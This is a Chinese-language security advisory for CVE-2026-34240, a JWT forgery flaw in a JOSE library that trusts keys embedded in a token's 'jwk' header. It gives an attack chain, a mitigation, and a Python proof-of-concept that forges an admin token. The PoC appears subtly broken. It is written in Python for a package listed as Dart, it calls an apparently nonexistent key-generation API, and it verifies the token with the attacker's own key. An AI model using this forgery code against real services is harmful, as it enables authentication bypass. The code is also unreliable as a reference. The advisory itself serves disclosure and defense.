IPBUF安全漏洞报告
English
CVE-2026-34240 CVSS 7.5 高危

CVE-2026-34240 JOSE库JWT令牌伪造漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-34240
漏洞类型
认证绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
JOSE

相关标签

认证绕过JWT令牌伪造JOSECVE-2026-34240

漏洞概述

JOSE是一个Javascript对象签名和加密库。在0.3.5+1版本之前,该库存在安全漏洞,允许未经身份验证的远程攻击者利用JOSE头中嵌入的密钥(jwk)伪造有效的JWS/JWT令牌。漏洞原因是密钥选择机制错误地将头中的jwk视为验证候选,即使该密钥不在可信密钥存储中。这可能导致攻击者通过自签名令牌绕过身份验证。

技术细节

漏洞源于JOSE库在验证JWS/JWT令牌签名时的密钥选择逻辑缺陷。在标准的JWT验证流程中,验证方应仅依赖预先配置在可信密钥存储中的密钥来验证令牌签名。然而,在受影响版本中,库的密钥选择机制并未严格限制验证密钥的来源。当库解析令牌时,会检查JOSE Header中的"jwk"(JSON Web Key)参数,并将其视为一个有效的公钥候选。攻击者利用这一缺陷,可以生成一对RSA或ECDSA密钥,将公钥以Base64URL编码嵌入到恶意令牌的Header中,并使用对应的私钥对Payload进行签名。当受影响的应用程序收到该令牌并调用库进行验证时,库会提取Header中的公钥来验证签名。由于签名是由对应的私钥生成的,验证必然成功。这使得攻击者可以伪造任意身份和权限的令牌,完全绕过系统的身份验证机制,进而获取未授权的访问权限。

攻击链分析

STEP 1
1. 侦察
攻击者识别目标应用程序使用了受影响的JOSE库版本进行JWT令牌验证。
STEP 2
2. 武器化
攻击者生成一对RSA或ECDSA密钥(公钥和私钥),并准备一个高权限的Payload(如admin用户)。
STEP 3
3. 构造恶意令牌
攻击者将生成的公钥嵌入到JWT令牌的Header中的'jwk'字段,并使用配套的私钥对Payload进行签名,生成伪造的令牌。
STEP 4
4. 交付与利用
攻击者将伪造的JWT令牌发送给目标应用程序的验证接口。
STEP 5
5. 认证绕过
受影响的JOSE库解析Header中的'jwk'并使用其来验证签名。由于签名匹配,验证通过,应用程序误认为令牌可信,从而授予攻击者访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import json from jose import jwk from jose import jwt # Generate a new RSA key pair controlled by the attacker private_key = jwk.construct(k="RSA", generate=True) public_key = private_key.public_key() # Convert public key to JWK format generated_jwk = public_key.to_dict() # Create a malicious payload payload = { "user": "admin", "role": "superuser", "exp": 9999999999 } # Embed the attacker's public key in the JOSE header # Vulnerable libraries will use this key for verification headers = { "alg": "RS256", "jwk": generated_jwk } # Sign the token with the attacker's private key token = jwt.encode(payload, private_key.to_pem().decode('utf-8'), algorithm="RS256", headers=headers) print(f"Forged JWT Token: {token}") # Verification (simulating the vulnerable behavior) # In a vulnerable scenario, the library extracts the 'jwk' from the header to verify data = jwt.decode(token, public_key, algorithms=["RS256"]) print(f"Verified Payload: {data}")

影响范围

appsup-dart/jose < 0.3.5+1

防御指南

临时缓解措施
如果无法立即升级,建议在验证逻辑中添加中间件或过滤器,检查所有入站JWT的Header。如果Header中存在'jwk'字段,应直接拒绝验证该令牌,除非该jwk的指纹与已知可信密钥列表完全匹配。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表